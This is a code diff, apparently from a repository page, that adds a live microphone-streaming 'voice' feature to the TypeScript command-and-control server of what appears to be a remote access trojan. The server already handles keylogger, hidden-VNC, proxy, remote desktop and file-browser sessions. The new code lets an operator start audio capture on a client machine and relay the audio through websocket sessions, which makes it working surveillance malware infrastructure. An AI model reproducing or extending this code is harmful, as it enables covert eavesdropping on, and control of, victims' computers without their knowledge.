handlePluginEvent: (clientId: string, payload: any) => void;
|
||||
handleNotification: (clientId: string, payload: any) => void;
|
||||
handleVoiceUplink: (clientId: string, payload: any) => void;
|
||||
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
|
||||
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
|
||||
sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
|
||||
sendHVNCCommand: (target: ClientInfo, commandType: string, payload: Record<string, unknown>) => void;
|
||||
@@ -77,6 +87,7 @@ export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLif
|
||||
if (role === "process_viewer") return deps.handleProcessViewerOpen(ws);
|
||||
if (role === "keylogger_viewer") return deps.handleKeyloggerViewerOpen(ws);
|
||||
if (role === "proxy_viewer") return deps.handleProxyViewerOpen(ws);
|
||||
if (role === "voice_viewer") return deps.handleVoiceViewerOpen(ws);
|
||||
if (role === "notifications_viewer") return deps.handleNotificationViewerOpen(ws);
|
||||
|
||||
const id = clientId || uuidv4();
|
||||
@@ -134,6 +145,7 @@ export function handleWebSocketMessage(
|
||||
if (socketRole === "process_viewer") return deps.handleProcessViewerMessage(ws, message);
|
||||
if (socketRole === "keylogger_viewer") return deps.handleKeyloggerViewerMessage(ws, message);
|
||||
if (socketRole === "proxy_viewer") return deps.handleProxyViewerMessage(ws, message);
|
||||
if (socketRole === "voice_viewer") return deps.handleVoiceViewerMessage(ws, message);
|
||||
if (socketRole === "notifications_viewer") return;
|
||||
|
||||
const { clientId, ip } = ws.data;
|
||||
@@ -213,6 +225,17 @@ export function handleWebSocketMessage(
|
||||
case "file_read_result":
|
||||
case "file_search_result":
|
||||
case "command_result":
|
||||
if (payloadType === "command_result" && typeof (payload as any).commandId === "string") {
|
||||
const pending = deps.pendingCommandReplies.get((payload as any).commandId);
|
||||
if (pending) {
|
||||
clearTimeout(pending.timeout);
|
||||
pending.resolve({
|
||||
ok: Boolean((payload as any).ok),
|
||||
message: typeof (payload as any).message === "string" ? (payload as any).message : "",
|
||||
});
|
||||
deps.pendingCommandReplies.delete((payload as any).commandId);
|
||||
}
|
||||
}
|
||||
if (typeof (payload as any).commandId === "string") {
|
||||
deps.notifyRdInputLatency((payload as any).commandId);
|
||||
}
|
||||
@@ -259,6 +282,9 @@ export function handleWebSocketMessage(
|
||||
case "notification":
|
||||
deps.handleNotification(info.id, payload);
|
||||
break;
|
||||
case "voice_uplink":
|
||||
deps.handleVoiceUplink(info.id, payload);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
@@ -356,6 +382,11 @@ export function handleWebSocketClose(
|
||||
return;
|
||||
}
|
||||
|
||||
if (role === "voice_viewer") {
|
||||
deps.cleanupVoiceViewer(ws);
|
||||
return;
|
||||
}
|
||||
|
||||
if (role === "notifications_viewer") {
|
||||
if (sessionId) {
|
||||
sessionManager.deleteNotificationSession(sessionId);
|
||||
|
||||
@@ -163,6 +163,24 @@ export async function handleWsUpgradeRoutes(
|
||||
return new Response("Upgrade failed", { status: 500 });
|
||||
}
|
||||
|
||||
const voiceMatch = url.pathname.match(/^\/api\/clients\/(.+)\/voice\/ws$/);
|
||||
if (voiceMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||
}
|
||||
const clientId = voiceMatch[1];
|
||||
const ip = server.requestIP(req)?.address || "";
|
||||
if (server.upgrade(req, { data: { role: "voice_viewer", clientId, ip, userRole: user.role } })) {
|
||||
return new Response();
|
||||
}
|
||||
return new Response("Upgrade failed", { status: 500 });
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/api/notifications/ws") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
|
||||
@@ -0,0 +1,119 @@
|
||||
import type { ServerWebSocket } from "bun";
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
import * as clientManager from "../clientManager";
|
||||
import { encodeMessage } from "../protocol";
|
||||
import * as sessionManager from "../sessions/sessionManager";
|
||||
import type { SocketData, VoiceViewer } from "../sessions/types";
|
||||
|
||||
function sendVoiceCommand(clientId: string, commandType: "voice_session_start" | "voice_session_stop" | "voice_downlink", payload: Record<string, unknown>) {
|
||||
const target = clientManager.getClient(clientId);
|
||||
if (!target) return false;
|
||||
try {
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: commandType as any,
|
||||
id: uuidv4(),
|
||||
payload,
|
||||
}),
|
||||
);
|
||||
return true;
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
function safeJson(ws: ServerWebSocket<SocketData>, payload: Record<string, unknown>) {
|
||||
try {
|
||||
ws.send(JSON.stringify(payload));
|
||||
} catch {
|
||||
// ignore broken sockets
|
||||
}
|
||||
}
|
||||
|
||||
export function handleVoiceViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||
const { clientId } = ws.data;
|
||||
const sessionId = uuidv4();
|
||||
ws.data.sessionId = sessionId;
|
||||
const target = clientManager.getClient(clientId);
|
||||
const session: VoiceViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
|
||||
sessionManager.addVoiceSession(session);
|
||||
|
||||
safeJson(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
|
||||
if (!target) {
|
||||
safeJson(ws, { type: "status", status: "offline", reason: "Client is offline" });
|
||||
return;
|
||||
}
|
||||
|
||||
safeJson(ws, { type: "status", status: "ready" });
|
||||
}
|
||||
|
||||
export function handleVoiceViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
|
||||
const { clientId } = ws.data;
|
||||
if (typeof raw === "string") {
|
||||
try {
|
||||
const message = JSON.parse(raw);
|
||||
if (message?.type === "start") {
|
||||
const source = typeof message?.source === "string" ? message.source : "microphone";
|
||||
const started = sendVoiceCommand(clientId, "voice_session_start", {
|
||||
source,
|
||||
sessionId: ws.data.sessionId,
|
||||
});
|
||||
safeJson(ws, { type: "status", status: started ? "connected" : "error" });
|
||||
return;
|
||||
}
|
||||
if (message?.type === "stop") {
|
||||
sendVoiceCommand(clientId, "voice_session_stop", {});
|
||||
safeJson(ws, { type: "status", status: "disconnected" });
|
||||
}
|
||||
} catch {
|
||||
// ignore malformed JSON control messages
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
const chunk = raw instanceof Uint8Array ? raw : new Uint8Array(raw);
|
||||
if (chunk.byteLength === 0) return;
|
||||
sendVoiceCommand(clientId, "voice_downlink", { data: chunk });
|
||||
}
|
||||
|
||||
export function handleVoiceUplink(clientId: string, payload: any) {
|
||||
const sessionId = typeof payload?.sessionId === "string" ? payload.sessionId : "";
|
||||
const bytes = payload?.data instanceof Uint8Array
|
||||
? payload.data
|
||||
: payload?.data instanceof ArrayBuffer
|
||||
? new Uint8Array(payload.data)
|
||||
: ArrayBuffer.isView(payload?.data)
|
||||
? new Uint8Array(payload.data.buffer)
|
||||
: null;
|
||||
if (!bytes || bytes.byteLength === 0) return;
|
||||
|
||||
for (const session of sessionManager.getAllVoiceSessions().values()) {
|
||||
if (sessionId) {
|
||||
if (session.id !== sessionId) continue;
|
||||
} else if (session.clientId !== clientId) {
|
||||
continue;
|
||||
}
|
||||
try {
|
||||
session.viewer.send(bytes);
|
||||
} catch {
|
||||
// ignore failed sends; cleanup happens on close
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
export function cleanupVoiceViewer(ws: ServerWebSocket<SocketData>) {
|
||||
let removedClientId = ws.data.clientId;
|
||||
for (const [sid, session] of sessionManager.getAllVoiceSessions().entries()) {
|
||||
if (session.viewer === ws) {
|
||||
removedClientId = session.clientId;
|
||||
sessionManager.deleteVoiceSession(sid);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
const hasViewers = sessionManager.getVoiceSessionsByClient(removedClientId).length > 0;
|
||||
if (!hasViewers) {
|
||||
sendVoiceCommand(removedClientId, "voice_session_stop", {});
|
||||
}
|
||||
}
|
||||
@@ -4,6 +4,7 @@ import type {
|
||||
RemoteDesktopViewer,
|
||||
FileBrowserViewer,
|
||||
ProcessViewer,
|
||||
VoiceViewer,
|
||||
NotificationsViewer,
|
||||
KeyloggerViewer,
|
||||
SocketData,
|
||||
@@ -17,6 +18,7 @@ const processSessions = new Map<string, ProcessViewer>();
|
||||
const notificationSessions = new Map<string, NotificationsViewer>();
|
||||
const keyloggerSessions = new Map<string, KeyloggerViewer>();
|
||||
const proxySessions = new Map<string, KeyloggerViewer>(); // Reusing KeyloggerViewer interface for consistency
|
||||
const voiceSessions = new Map<string, VoiceViewer>();
|
||||
|
||||
export function addConsoleSession(session: ConsoleSession): void {
|
||||
consoleSessions.set(session.id, session);
|
||||
@@ -261,3 +263,23 @@ export function getProxySessionsByClient(
|
||||
export function getAllProxySessions(): Map<string, KeyloggerViewer> {
|
||||
return proxySessions;
|
||||
}
|
||||
|
||||
export function addVoiceSession(session: VoiceViewer): void {
|
||||
voiceSessions.set(session.id, session);
|
||||
}
|
||||
|
||||
export function getVoiceSession(sessionId: string): VoiceViewer | undefined {
|
||||
return voiceSessions.get(sessionId);
|
||||
}
|
||||
|
||||
export function deleteVoiceSession(sessionId: string): boolean {
|
||||
return voiceSessions.delete(sessionId);
|
||||
}
|
||||
|
||||
export function getVoiceSessionsByClient(clientId: string): VoiceViewer[] {
|
||||
return Array.from(voiceSessions.values()).filter((s) => s.clientId === clientId);
|
||||
}
|
||||
|
||||
export function getAllVoiceSessions(): Map<string, VoiceViewer> {
|
||||
return voiceSessions;
|
||||
}
|
||||
|
||||
@@ -9,7 +9,8 @@ export type SocketRole =
|
||||
| "process_viewer"
|
||||
| "notifications_viewer"
|
||||
| "keylogger_viewer"
|
||||
| "proxy_viewer";
|
||||
| "proxy_viewer"
|
||||
| "voice_viewer";
|
||||
|
||||
export type SocketData = {
|
||||
role: SocketRole;
|
||||
@@ -61,3 +62,10 @@ export type KeyloggerViewer = {
|
||||
viewer: ServerWebSocket<SocketData>;
|
||||
createdAt: number;
|
||||
};
|
||||
|
||||
export type VoiceViewer = {
|
||||
id: string;
|
||||
clientId: string;
|
||||
viewer: ServerWebSocket<SocketData>;
|
||||
createdAt: number;
|
||||
};
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
export type SocketRole = "client" | "viewer" | "console_viewer" | "rd_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "proxy_viewer" | "notifications_viewer";
|
||||
export type SocketRole = "client" | "viewer" | "console_viewer" | "rd_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "proxy_viewer" | "voice_viewer" | "notifications_viewer";
|
||||
|
||||
export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
|
||||
"hello",
|
||||
@@ -23,6 +23,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
|
||||
"keylog_file_content",
|
||||
"keylog_clear_result",
|
||||
"keylog_delete_result",
|
||||
"voice_uplink",
|
||||
]);
|
||||
|
||||
export function isAllowedClientMessageType(type: string): boolean {
|
||||
|
||||
Reference in New Issue
Block a user